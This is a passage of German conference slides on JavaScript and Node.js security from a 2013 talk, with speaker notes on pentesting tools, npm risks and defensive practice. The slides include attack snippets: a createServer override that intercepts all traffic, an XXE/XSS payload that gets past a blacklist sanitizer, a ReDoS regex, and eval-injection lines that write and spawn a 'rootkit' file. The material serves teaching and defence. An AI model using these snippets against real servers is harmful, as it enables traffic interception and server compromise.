./skipﬁsh -o output_dir -S dictionaries/minimal.wl -W new_dic.wl http://192.168.8.136/
mutillidae/

ZXSS
Demo 4:
BurpSuite Professional
Pentesting
122
mutillidae/

ZXSS
Demo 4:
BurpSuite Professional
Pentesting
123
mutillidae/

ZXSS
High-End:
BurpSuite mit Crawljax,
einem Selenium-basiertem
Crawler.
Pentesting
124
Das ist das aktuelle High-End, leider habe ich es noch nicht kompiliert bekommen :-/

ZNode.js
Viele Sinks:
eval(),ChildProcess.*, Cluster.*,fs.*,
http.*, net.*, process.*, dgram.*
Zugriff auf Netzwerk, Filesystem,
Prozesse
126
In node.js gibt es sehr viele Funktionen, die Probleme erzeugen können, wenn ihnen
unvalidierter Code übergeben wird. Natürlich gibt es diese Funktionen auch in allen anderen
Sprachen, aber bei JavaScript ist man sie bisher nicht gewohnt - und achtet dementsprechend
weniger auf die Risiken dahinter.

ZNode.js
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello Worldn');
}).listen(1337, '127.0.0.1');
console.log('Server running at http://127.0.0.1:1337/');
127
Und wir haben die klassischen JavaScript-Probleme - diesen Code kennt vermutlich jeder, mit
ihm erzeuge ich einen neuen node-basierten HTTP-Server. Aber weil es JavaScript ist, kann
ich mit einer Code Injection die vollständige Infrastruktur der Sprache boykottieren.

ZNode.js
var http = require('http');
oldfunc = http.createServer;
http.createServer=function (myfunc) {
console.log('Hijacking createServer');
newfunc = function (req, res) {
result = myfunc(req, res);
console.log('MITM Request:');
console.log(req);
console.log('MITM Response:');
console.log(res);
return result;
}
return oldfunc(newfunc);
}
128
Und das ist der Code, mit dem ich Create-Server so umschreibe, dass ich ich allen Verkehr zu
einer dritten Partei umleiten kann. Genauso wie ich window.alert umschreiben kann kann ich
auch http.createServer umschreiben.

ZNode.js
Demo
129
var http = require('http');
oldfunc = http.createServer;
http.createServer=function (myfunc) {
console.log('Hijacking createServer');
newfunc = function (req, res) {
result = myfunc(req, res);
console.log('MITM Request:');
console.log(req);
console.log('MITM Response:');
console.log(res);
return result;
}
return oldfunc(newfunc);
}
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello Worldn');
}).listen(1337, '127.0.0.1');
console.log('Server running at http://127.0.0.1:1337/');

ZNode.js
npms
130
Kommen wir zu einem ganz dunklem Kapitel.

ZNode.js
Authenticated only by E-Mail
ca 30.000 Packages, no Security-Checks
Sinks:
zB 1686*Spawn()
9518*eval()
3977*writeFile()
Average Quality is low
131
Kommen wir zu einem ganz dunklem Kapitel.
NPMs sind einer der wichtigsten Gründe für das enorme Wachstum von Node. Und genau die
offene Infrastruktur, die zur schnellen und weiten Verbreitung führte, ist vom Security-
Standpunkt her ein Problem. Denn auch hier gilt das Appstore-Phänomen: man vertraut der
Absenderadresse, auch wenn sie eigentlich gar kein Vertrauen verdient - denn jeder von uns
kann jederzeit ein Package einstellen, ohne jenseits seiner E-Mail-Adresse authentiﬁziert zu
werden.

ZNode.js
Support für typische Security-Features:
- node-validator für validation & sanitizing
require('validator').sanitize(mystr).xss();
- express csrf middleware
app.use(express.csrf());
132
Für die normalen Security-Anforderungen sind die meisten Pakete vorhanden, beide auch im
express-Umfeld vorhanden.

ZNode.js
node-validator Sanitizer:
Blacklister, also gibt es Workarounds:
<!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>
und in test.xxe: <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
133
Der Validator ist der Rewrite der Code-Igniter Infrastruktur und ok. Die Validator-Funktionen
sind gut, und die Sanitizer-Funktionen - wie jede Blacklist - unvollständig und es existieren
Workarounds.

ZNode.js
SQL-Injections:
nodejsdb solide, inklusive Parameter binding
Aber: Whitelisting von Bezeichnern und SQL-
Syntax trotzdem erforderlich
134
Auch was die Basisinfrastruktur angeht sieht es nicht so schlecht aus - das nodejsdb mysql
Interface macht zB auch einen guten Eindruck. Ich muss natürlich auch nicht-bindbaren
Syntax, der in die Query geht validieren - sonst sind wieder SQL-Injections oder blind SQL-
Injections möglich.
Aber wie gesagt, das sind nur 3 von 30.000 Modulen, und gerade die selten genutzten
Module sind nicht wirklich vertrauenswürdig.

ZNode.js
ReDOS-Attacken: existierende reguläre
Ausdrücke so füttern, dass sie beliebig viel
CPU brauchen.
Beispiel:
var match = /^(a+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!');
Blockiert den Server > 10 Sekunden.
135

ZNode.js
Wenn ich ein eval() im Server habe ...
process.kill(process.id);
require(‘fs‘).writeFileSync(‘/tmp/rootkit‘, data, ‘base64);
require(‘child_process‘).spawn(‘/tmp/rootkit‘);
136

ZNode.js
Node.js auch auf Port 80 nicht als Root!
per sudo starten und dann ...
var uid = parseInt(process.env.SUDO_UID);
if (uid) process.setuid(uid);
137

ZFazit
Basis-Infrastruktur sichern:
gute Libraries
guter JavaScript-Stil
mit JSLint/JSHint sichern
Blacklists sind nie 100%
Escaping nur nach Kontext
138

Khttps://www.owasp.org/images/9/95/JS_Libraries_Insecurity_-_Stefano_DiPaola.pdf
http://www.contextis.com/ﬁles/Browser_Timing_Attacks.pdf
http://www.owaspbwa.org/
http://deadliestwebattacks.ﬁles.wordpress.com/2013/02/javascript-security-html5.pdf
http://de.slideshare.net/x00mario/the-innerhtml-apocalypse
140

ZFazit
Jemand mit Mut, der seine
Seite live getestet haben will?
142

ZFazit
Bonus-Rant zum
tweeten:
Der HTML-Parser und die DOM-
API sind unreparierbar kaputt.
143

JavaScript und Security - JavaScript Days 2013 Berlin

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